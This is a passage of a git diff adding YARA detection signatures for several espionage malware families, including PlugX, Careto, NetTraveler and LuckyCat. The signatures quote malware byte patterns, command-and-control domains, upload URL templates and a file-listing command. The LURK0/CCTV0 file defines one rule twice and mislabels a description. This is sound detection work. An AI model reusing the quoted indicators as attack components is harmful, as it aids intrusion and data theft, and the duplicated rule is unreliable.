+		$script1 = "osascript -e 'tell application \"System Events\" to get the hidden of every login item'"
+		$script2 = "osascript -e 'tell application \"System Events\" to get the name of every login item'"
+		$script3 = "osascript -e 'tell application \"System Events\" to get the path of every login item'"
+		$properties = "serverVisible \x00"
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/luckycat.yar b/yara-mikesxrs/Seth Hardy/luckycat.yar
new file mode 100644
index 0000000..75e17a2
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/luckycat.yar	
@@ -0,0 +1,46 @@
+private rule LuckyCatCode : LuckyCat Family 
+{
+    meta:
+        description = "LuckyCat code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xordecrypt = { BF 0F 00 00 00 F7 F7 ?? ?? ?? ?? 32 14 39 80 F2 7B }
+        $dll = { C6 ?? ?? ?? 64 C6 ?? ?? ?? 6C C6 ?? ?? ?? 6C }
+        $commonletters = { B? 63 B? 61 B? 73 B? 65 }
+        
+    condition:
+        $xordecrypt or ($dll and $commonletters)
+}
+
+private rule LuckyCatStrings : LuckyCat Family
+{
+    meta:
+        description = "LuckyCat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $xorencrypted = { 77 76 75 7B 7A 79 78 7F 7E 7D 7C 73 72 71 70 }
+        $tempvbs = "%s\\~temp.vbs"
+        $countphp = "count.php\x00"
+        $trojanname = "/WMILINK=.*TrojanName=/"
+        $tmpfile = "d0908076343423d3456.tmp"
+        $dirfile = "cmd /c dir /s /a C:\\\\ >'+tmpfolder+'\\\\C.tmp"
+        $ipandmac = "objIP.DNSHostName+'_'+objIP.MACAddress.split(':').join('')+'_'+addinf+'@')"
+        
+    condition:
+       any of them
+}
+
+rule LuckyCat : Family
+{
+    meta:
+        description = "LuckyCat"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        LuckyCatCode or LuckyCatStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/lurk0+cctv0.yar b/yara-mikesxrs/Seth Hardy/lurk0+cctv0.yar
new file mode 100644
index 0000000..e99d4ee
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/lurk0+cctv0.yar	
@@ -0,0 +1,121 @@
+private rule LURK0Header : Family LURK0 {
+	meta:
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = { C6 [5] 4C C6 [5] 55 C6 [5] 52 C6 [5] 4B C6 [5] 30 }
+
+	condition:
+		any of them
+}
+
+
+private rule CCTV0Header : Family CCTV0 {
+        meta:  
+		description = "5 char code for LURK0"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+
+	strings:
+		//if its just one char a time
+		$ = { C6 [5] 43 C6 [5] 43 C6 [5] 54 C6 [5] 56 C6 [5] 30 }
+		// bit hacky but for when samples dont just simply mov 1 char at a time
+		$ = { B0 43 88 [3] 88 [3] C6 [3] 54 C6 [3] 56 [0-12] (B0 30 | C6 [3] 30) }
+
+	condition:
+		any of them
+}
+
+private rule SharedStrings : Family {
+	meta:
+		description = "Internal names found in LURK0/CCTV0 samples"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+	
+	strings:
+		// internal names
+		$i1 = "Butterfly.dll"
+		$i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/
+		$i3 = "ETClientDLL"
+
+		// dbx
+		$d1 = "\\DbxUpdateET\\" wide
+		$d2 = "\\DbxUpdateBT\\" wide
+		$d3 = "\\DbxUpdate\\" wide
+		
+		// other folders
+		$mc1 = "\\Micet\\"
+
+		// embedded file names
+		$n1 = "IconCacheEt.dat" wide
+		$n2 = "IconConfigEt.dat" wide
+
+		$m1 = "\x00\x00ERXXXXXXX\x00\x00" wide
+		$m2 = "\x00\x00111\x00\x00" wide
+		$m3 = "\x00\x00ETUN\x00\x00" wide
+		$m4 = "\x00\x00ER\x00\x00" wide
+
+	condition:
+		any of them //todo: finetune this
+
+}
+
+rule LURK0 : Family LURK0 {
+	
+	meta:
+		description = "rule for lurk0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		LURK0Header and SharedStrings
+
+}
+
+private rule SharedStrings : Family {
+	meta:
+		description = "Internal names found in LURK0/CCTV0 samples"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+	
+	strings:
+		// internal names
+		$i1 = "Butterfly.dll"
+		$i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/
+		$i3 = "ETClientDLL"
+
+		// dbx
+		$d1 = "\\DbxUpdateET\\" wide
+		$d2 = "\\DbxUpdateBT\\" wide
+		$d3 = "\\DbxUpdate\\" wide
+		
+		// other folders
+		$mc1 = "\\Micet\\"
+
+		// embedded file names
+		$n1 = "IconCacheEt.dat" wide
+		$n2 = "IconConfigEt.dat" wide
+
+		$m1 = "\x00\x00ERXXXXXXX\x00\x00" wide
+		$m2 = "\x00\x00111\x00\x00" wide
+		$m3 = "\x00\x00ETUN\x00\x00" wide
+		$m4 = "\x00\x00ER\x00\x00" wide
+
+	condition:
+		any of them //todo: finetune this
+
+}
+
+rule CCTV0 : Family CCTV0 {
+
+	meta:
+		description = "rule for cctv0"
+		author = "Katie Kleemola"
+		last_updated = "07-22-2014"
+
+	condition:
+		CCTV0Header and SharedStrings
+
+}
diff --git a/yara-mikesxrs/Seth Hardy/maccontrol.yar b/yara-mikesxrs/Seth Hardy/maccontrol.yar
new file mode 100644
index 0000000..d54f336
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/maccontrol.yar	
@@ -0,0 +1,47 @@
+private rule MacControlCode : MacControl Family 
+{
+    meta:
+        description = "MacControl code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_Accept = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 3A 20 }
+        $L4_AcceptLang = { C7 ?? 41 63 63 65 C7 ?? 04 70 74 2D 4C }
+        $L4_Pragma = { C7 ?? 50 72 61 67 C7 ?? 04 6D 61 3A 20 }
+        $L4_Connection = { C7 ?? 43 6F 6E 6E C7 ?? 04 65 63 74 69 }
+        $GEThgif = { C7 ?? 47 45 54 20 C7 ?? 04 2F 68 2E 67 }
+        
+    condition:
+        all of ($L4*) or $GEThgif
+}
+
+private rule MacControlStrings : MacControl Family
+{
+    meta:
+        description = "MacControl Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-17"
+        
+    strings:
+        $ = "HTTPHeadGet"
+        $ = "/Library/launched"
+        $ = "My connect error with no ip!"
+        $ = "Send File is Failed"
+        $ = "****************************You Have got it!****************************"
+        
+    condition:
+        any of them
+}
+
+rule MacControl : Family
+{
+    meta:
+        description = "MacControl"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    condition:
+        MacControlCode or MacControlStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/mask.yar b/yara-mikesxrs/Seth Hardy/mask.yar
new file mode 100644
index 0000000..6752104
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/mask.yar	
@@ -0,0 +1,85 @@
+rule Careto {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto generic malware signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+
+		/* General */
+		$name1 = "Careto" ascii wide
+		$s_1 = "GetSystemReport" ascii wide
+		$s_2 = "SystemReport.txt" ascii wide
+		$s_3 = /URL_AUX\w*=/ ascii wide
+		$s_4 = /CaretoPruebas.+release/
+
+		/* Certificate */
+		$sign_0 = "Sofia"
+		$sign_1 = "TecSystem Ltd"
+		$sign_2 = "<<<Obsolete>>>" wide
+
+		/* Encryption keys */
+		$rc4_1 = "!$7be&.Kaw-12[}" ascii wide
+		$rc4_2 = "Caguen1aMar" ascii wide
+		/* http://laboratorio.blogs.hispasec.com/2014/02/analisis-del-algoritmo-de-descifrado.html */
+		$rc4_3 = {8d 85 86 8a 8f 80 88 83 8d 82 88 85 86 8f 8f 87 8d 82 83 82 8c 8e 83 8d 89 82 86 87 82 83 83 81}
+
+		/* Decryption routine fragment */
+		$dec_1 = {8b 4d 08 0f be 04 59 0f be 4c 59 01 2b c7 c1 e0 04 2b cf 0b c1 50 8d 85 f0 fe ff ff}
+		$dec_2 = {8b 4d f8 8b 16 88 04 11 8b 06 41 89 4d f8 c6 04 01 00 43 3b 5d fc}
+
+	condition:
+		$name1 and (any of ($s_*)) or all of ($sign_*) or any of ($rc4_*) or all of ($dec_*)
+}
+
+rule Careto_SGH {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto SGH component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$m1 = "PGPsdkDriver" ascii wide fullword
+		$m2 = "jpeg1x32" ascii wide fullword
+		$m3 = "SkypeIE6Plugin" ascii wide fullword
+		$m4 = "CDllUninstall" ascii wide fullword
+	condition:
+		2 of them
+}
+
+rule Careto_OSX_SBD {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto OSX component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		/* XORed "/dev/null strdup() setuid(geteuid())" */
+		$1 = {FF 16 64 0A 7E 1A 63 4D 21 4D 3E 1E 60 0F 7C 1A 65 0F 74 0B 3E 1C 7F 12}
+	condition:
+		all of them
+}
+
+rule Careto_CnC {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto CnC communication signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "cgi-bin/commcgi.cgi" ascii wide
+		$2 = "Group" ascii wide
+		$3 = "Install" ascii wide
+		$4 = "Bn" ascii wide
+	condition:
+		all of them
+}
+
+rule Careto_CnC_domains {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto known command and control domains"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "linkconf.net" ascii wide nocase
+		$2 = "redirserver.net" ascii wide nocase
+		$3 = "swupdt.com" ascii wide nocase
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/mirage.yar b/yara-mikesxrs/Seth Hardy/mirage.yar
new file mode 100644
index 0000000..6ebfc23
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/mirage.yar	
@@ -0,0 +1,25 @@
+private rule MirageStrings : Mirage Family
+{
+    meta:
+        description = "Mirage Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "Neo,welcome to the desert of real." wide ascii
+        $ = "/result?hl=en&id=%s"
+        
+    condition:
+       any of them
+}
+
+rule Mirage : Family
+{
+    meta:
+        description = "Mirage"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        MirageStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/mongal.yar b/yara-mikesxrs/Seth Hardy/mongal.yar
new file mode 100644
index 0000000..fd59076
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/mongal.yar	
@@ -0,0 +1,41 @@
+private rule MongalCode : Mongal Family 
+{
+    meta:
+        description = "Mongal code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+    
+    strings:
+        // gettickcount value checking
+        $ = { 8B C8 B8 D3 4D 62 10 F7 E1 C1 EA 06 2B D6 83 FA 05 76 EB }
+        
+    condition:
+        any of them
+}
+
+private rule MongalStrings : Mongal Family
+{
+    meta:
+        description = "Mongal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    strings:
+        $ = "NSCortr.dll"
+        $ = "NSCortr1.dll"
+        $ = "Sina.exe"
+        
+    condition:
+        any of them
+}
+
+rule Mongal : Family
+{
+    meta:
+        description = "Mongal"
+        author = "Seth Hardy"
+        last_modified = "2014-07-15"
+        
+    condition:
+        MongalCode or MongalStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/naikon.yar b/yara-mikesxrs/Seth Hardy/naikon.yar
new file mode 100644
index 0000000..65e0760
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/naikon.yar	
@@ -0,0 +1,45 @@
+private rule NaikonCode : Naikon Family 
+{
+    meta:
+        description = "Naikon code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 0F AF C1 C1 E0 1F } // imul eax, ecx; shl eah, 1fh
+        $ = { 35 5A 01 00 00} // xor eax, 15ah
+        $ = { 81 C2 7F 14 06 00 } // add edx, 6147fh
+    
+    condition:
+        all of them
+}
+
+private rule NaikonStrings : Naikon Family
+{
+    meta:
+        description = "Naikon Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "NOKIAN95/WEB"
+        $ = "/tag=info&id=15"
+        $ = "skg(3)=&3.2d_u1"
+        $ = "\\Temp\\iExplorer.exe"
+        $ = "\\Temp\\\"TSG\""
+        
+    condition:
+       any of them
+}
+
+rule Naikon : Family
+{
+    meta:
+        description = "Naikon"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        NaikonCode or NaikonStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/naspyupdate.yar b/yara-mikesxrs/Seth Hardy/naspyupdate.yar
new file mode 100644
index 0000000..8a85273
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/naspyupdate.yar	
@@ -0,0 +1,42 @@
+private rule nAspyUpdateCode : nAspyUpdate Family 
+{
+    meta:
+        description = "nAspyUpdate code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop in dropper
+        $ = { 8A 54 24 14 8A 01 32 C2 02 C2 88 01 41 4E 75 F4 }
+        
+    condition:
+        any of them
+}
+
+private rule nAspyUpdateStrings : nAspyUpdate Family
+{
+    meta:
+        description = "nAspyUpdate Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $ = "\\httpclient.txt"
+        $ = "password <=14"
+        $ = "/%ldn.txt"
+        $ = "Kill You\x00"
+        
+    condition:
+        any of them
+}
+
+rule nAspyUpdate : Family
+{
+    meta:
+        description = "nAspyUpdate"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        nAspyUpdateCode or nAspyUpdateStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/nettraveler.yar b/yara-mikesxrs/Seth Hardy/nettraveler.yar
new file mode 100644
index 0000000..f5bbe17
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/nettraveler.yar	
@@ -0,0 +1,88 @@
+//will match both exe and dll components
+private rule NetTravExports : NetTraveler Family {
+
+	meta:
+		description = "Export names for dll component"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		//dll component exports
+		$ = "?InjectDll@@YAHPAUHWND__@@K@Z"
+		$ = "?UnmapDll@@YAHXZ"
+		$ = "?g_bSubclassed@@3HA"
+		
+	condition:
+		any of them
+}
+
+private rule NetTravStrings : NetTraveler Family {
+
+
+	meta:
+        	description = "Identifiers for NetTraveler DLL"
+		author = "Katie Kleemola"
+        	last_updated = "2014-05-20"
+
+	strings:
+		//network strings
+		$ = "?action=updated&hostid="
+		$ = "travlerbackinfo"
+		$ = "?action=getcmd&hostid="
+		$ = "%s?action=gotcmd&hostid="
+		$ = "%s?hostid=%s&hostname=%s&hostip=%s&filename=%s&filestart=%u&filetext="
+
+		//debugging strings
+		$ = "\x00Method1 Fail!!!!!\x00"
+		$ = "\x00Method3 Fail!!!!!\x00"
+		$ = "\x00method currect:\x00"
+		$ = /\x00\x00[\w\-]+ is Running!\x00\x00/
+		$ = "\x00OtherTwo\x00"
+
+	condition:
+		any of them
+
+}
+
+private rule NetpassStrings : NetPass Variant {
+
+        meta:
+                description = "Identifiers for netpass variant"
+                author = "Katie Kleemola"
+                last_updated = "2014-05-29"
+
+        strings:
+		$exif1 = "Device Protect ApplicatioN" wide
+		$exif2 = "beep.sys" wide //embedded exe name
+		$exif3 = "BEEP Driver" wide //embedded exe description
+		
+		$string1 = "\x00NetPass Update\x00"
+		$string2 = "\x00%s:DOWNLOAD\x00"
+		$string3 = "\x00%s:UPDATE\x00"
+		$string4 = "\x00%s:uNINSTALL\x00"
+
+        condition:
+                all of ($exif*) or any of ($string*)
+
+}	
+
+
+rule NetTraveler : Family {
+	meta:
+		description = "Nettravelr"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	
+	condition:
+		NetTravExports or NetTravStrings or NetpassStrings
+
+}
+
+rule NetPass : Variant {
+	meta:
+		description = "netpass variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-08"
+	condition:
+		NetpassStrings
+}
diff --git a/yara-mikesxrs/Seth Hardy/nsfree.yar b/yara-mikesxrs/Seth Hardy/nsfree.yar
new file mode 100644
index 0000000..30bae26
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/nsfree.yar	
@@ -0,0 +1,44 @@
+private rule NSFreeCode : NSFree Family 
+{
+    meta:
+        description = "NSFree code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // push vars then look for MZ
+        $ = { 53 56 57 66 81 38 4D 5A }
+        // nops then look for PE\0\0
+        $ = { 90 90 90 90 81 3F 50 45 00 00 }
+    
+    condition:
+        all of them
+}
+
+private rule NSFreeStrings : NSFree Family
+{
+    meta:
+        description = "NSFree Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $ = "\\MicNS\\" nocase
+        $ = "NSFreeDll" wide ascii
+        // xor 0x58 dos stub
+        $ = { 0c 30 31 2b 78 28 2a 37 3f 2a 39 35 78 3b 39 36 36 37 }
+        
+    condition:
+       any of them
+}
+
+rule NSFree : Family
+{
+    meta:
+        description = "NSFree"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        NSFreeCode or NSFreeStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/olyx.yar b/yara-mikesxrs/Seth Hardy/olyx.yar
new file mode 100644
index 0000000..dd77731
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/olyx.yar	
@@ -0,0 +1,38 @@
+private rule OlyxCode : Olyx Family 
+{
+    meta:
+        description = "Olyx code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $six = { C7 40 04 36 36 36 36 C7 40 08 36 36 36 36 }
+        $slash = { C7 40 04 5C 5C 5C 5C C7 40 08 5C 5C 5C 5C }
+        
+    condition:
+        any of them
+}
+
+private rule OlyxStrings : Olyx Family
+{
+    meta:
+        description = "Olyx Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "/Applications/Automator.app/Contents/MacOS/DockLight"
+       
+    condition:
+        any of them
+}
+rule Olyx : Family
+{
+    meta:
+        description = "Olyx"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        OlyxCode or OlyxStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/plugx.yar b/yara-mikesxrs/Seth Hardy/plugx.yar
new file mode 100644
index 0000000..50a36c6
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/plugx.yar	
@@ -0,0 +1,52 @@
+private rule PlugXBootLDRCode : PlugX Family 
+{
+    meta:
+        description = "PlugX boot.ldr code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        //$callpop = { E8 00 00 00 00 58 }
+        // Compares [eax+n] to GetProcAdd, one character at a time. This goes up to GetP:
+        $GetProcAdd = { 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50 }
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_LoadLibraryA = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 6F 61 64 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 69 62 72 }
+        $L4_VirtualAlloc = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 41 }
+        $L4_VirtualFree = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 46 }
+        $L4_ExitThread = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 45 78 69 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 54 68 72 65 }
+        $L4_ntdll = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6E 74 64 6C 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) C6 00 }
+        $L4_RtlDecompressBuffer = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 52 74 6C 44 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 65 63 6F 6D }
+        $L4_memcpy = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6D 65 6D 63 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 70 79 }
+        
+    condition:
+        /*($callpop at 0) or*/ $GetProcAdd or (all of ($L4_*))
+}
+
+private rule PlugXStrings : PlugX Family
+{
+    meta:
+        description = "PlugX Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        $BootLDR = "boot.ldr" wide ascii
+        $Dwork = "d:\\work" nocase
+        $Plug25 = "plug2.5"
+        $Plug30 = "Plug3.0"
+        $Shell6 = "Shell6"
+      
+    condition:
+        $BootLDR or ($Dwork and ($Plug25 or $Plug30 or $Shell6))
+}
+
+rule PlugX : Family
+{
+    meta:
+        description = "PlugX"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    condition:
+        PlugXBootLDRCode or PlugXStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/pubsab.yar b/yara-mikesxrs/Seth Hardy/pubsab.yar
new file mode 100644
index 0000000..7a7e07c
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/pubsab.yar	
@@ -0,0 +1,40 @@
+private rule PubSabCode : PubSab Family 
+{
+    meta:
+        description = "PubSab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $decrypt = { 6B 45 E4 37 89 CA 29 C2 89 55 E4 }
+        
+    condition:
+        any of them
+}
+
+private rule PubSabStrings : PubSab Family
+{
+    meta:
+        description = "PubSab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "_deamon_init"
+        $ = "com.apple.PubSabAgent"
+        $ = "/tmp/screen.jpeg"
+       
+    condition:
+        any of them
+}
+
+rule PubSab : Family
+{
+    meta:
+        description = "PubSab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        PubSabCode or PubSabStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/quarian.yar b/yara-mikesxrs/Seth Hardy/quarian.yar
new file mode 100644
index 0000000..b657ec6
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/quarian.yar	
@@ -0,0 +1,64 @@
+private rule QuarianCode : Quarian Family 
+{
+    meta:
+        description = "Quarian code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // decrypt in intelnat.sys
+        $ = { C1 E? 04 8B ?? F? C1 E? 05 33 C? }
+        // decrypt in mswsocket.dll
+        $ = { C1 EF 05 C1 E3 04 33 FB }
+        $ = { 33 D8 81 EE 47 86 C8 61 }
+        // loop in msupdate.dll
+        $ = { FF 45 E8 81 45 EC CC 00 00 00 E9 95 FE FF FF }
+    
+    condition:
+        any of them
+}
+
+private rule QuarianStrings : Quarian Family
+{
+    meta:
+        description = "Quarian Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "s061779s061750"
+        $ = "[OnUpLoadFile]"
+        $ = "[OnDownLoadFile]"
+        $ = "[FileTransfer]"
+        $ = "---- Not connect the Manager, so start UnInstall ----"
+        $ = "------- Enter CompressDownLoadDir ---------"
+        $ = "------- Enter DownLoadDirectory ---------"
+        $ = "[HandleAdditionalData]"
+        $ = "[mswsocket.dll]"
+        $ = "msupdate.dll........Enter ThreadCmd!"
+        $ = "ok1-1"
+        $ = "msupdate_tmp.dll"
+        $ = "replace Rpcss.dll successfully!"
+        $ = "f:\\loadhiddendriver-mdl\\objfre_win7_x86\\i386\\intelnat.pdb"
+        $ = "\\drivercashe\\" wide ascii
+        $ = "\\microsoft\\windwos\\" wide ascii
+        $ = "\\DosDevices\\LOADHIDDENDRIVER" wide ascii
+        $ = "\\Device\\LOADHIDDENDRIVER" wide ascii
+        $ = "Global\\state_maping" wide ascii
+        $ = "E:\\Code\\2.0\\2.0_multi-port\\2.0\\ServerInstall_New-2010-0913_sp3\\msupdataDll\\Release\\msupdate_tmp.pdb"
+        $ = "Global\\unInstall_event_1554_Ower" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Quarian : Family
+{
+    meta:
+        description = "Quarian"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        QuarianCode or QuarianStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/regsubdat.yar b/yara-mikesxrs/Seth Hardy/regsubdat.yar
new file mode 100644
index 0000000..d8796a1
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/regsubdat.yar	
@@ -0,0 +1,47 @@
+private rule RegSubDatCode : RegSubDat Family 
+{
+    meta:
+        description = "RegSubDat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop
+        $ = { 80 34 3? 99 40 (3D FB 65 00 00 | 3B C6) 7? F? }
+        // push then pop values
+        $ = { 68 FF FF 7F 00 5? }
+        $ = { 68 FF 7F 00 00 5? }
+    
+    condition:
+        all of them
+}
+
+private rule RegSubDatStrings : RegSubDat Family
+{
+    meta:
+        description = "RegSubDat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $avg1 = "Button"
+        $avg2 = "Allow"
+        $avg3 = "Identity Protection"
+        $avg4 = "Allow for all"
+        $avg5 = "AVG Firewall Asks For Confirmation"
+        $mutex = "0x1A7B4C9F"
+        
+    condition:
+       all of ($avg*) or $mutex
+}
+
+rule RegSubDat : Family
+{
+    meta:
+        description = "RegSubDat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        RegSubDatCode or RegSubDatStrings
+}
diff --git a/yara-mikesxrs/Seth Hardy/remote.yar b/yara-mikesxrs/Seth Hardy/remote.yar
new file mode 100644
index 0000000..a2f441d
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/remote.yar	
@@ -0,0 +1,81 @@
+private rule RSharedStrings : Surtr Family {
+	meta:
+		description = "identifiers for remote and gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "nView_DiskLoydb" wide
+		$ = "nView_KeyLoydb" wide
+		$ = "nView_skins" wide
+		$ = "UsbLoydb" wide
+		$ = "%sBurn%s" wide
+		$ = "soul" wide
+
+	condition:
+		any of them
+
+}
+
+
+private rule RemoteStrings : Remote Variant Surtr Family {
+	meta:
+		description = "indicators for remote.dll - surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00Remote.dll\x00"
+		$ = "\x00CGm_PlugBase::"
+		$ = "\x00ServiceMain\x00_K_H_K_UH\x00"
+		$ = "\x00_Remote_\x00" wide
+	condition:
+		any of them
+}
+
+private rule GmRemoteStrings : GmRemote Variant Family Surtr {
+	meta:
+		description = "identifiers for gmremote: surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00x86_GmRemote.dll\x00"
+		$ = "\x00D:\\Project\\GTProject\\Public\\List\\ListManager.cpp\x00"
+		$ = "\x00GmShutPoint\x00"
+		$ = "\x00GmRecvPoint\x00"
+		$ = "\x00GmInitPoint\x00"
+		$ = "\x00GmVerPoint\x00"
+		$ = "\x00GmNumPoint\x00"
+		$ = "_Gt_Remote_" wide
+		$ = "%sBurn\\workdll.tmp" wide
+	
+	condition:
+		any of them
+
+}
+
+/*
+ * Check if File has shared identifiers among Surtr Stage 2's
+ * Then look for unique identifiers to each variant
+*/
+
+rule GmRemote : Family Surtr Variant GmRemote {
+	meta:
+		description = "identifier for gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and GmRemoteStrings
+}
+
+rule Remote : Family Surtr Variant Remote {
+	meta:
+		description = "identifier for remote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and RemoteStrings
+}
diff --git a/yara-mikesxrs/Seth Hardy/rookie.yar b/yara-mikesxrs/Seth Hardy/rookie.yar
new file mode 100644
index 0000000..b18e197
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/rookie.yar	
@@ -0,0 +1,43 @@
+private rule RookieCode : Rookie Family 
+{
+    meta:
+        description = "Rookie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
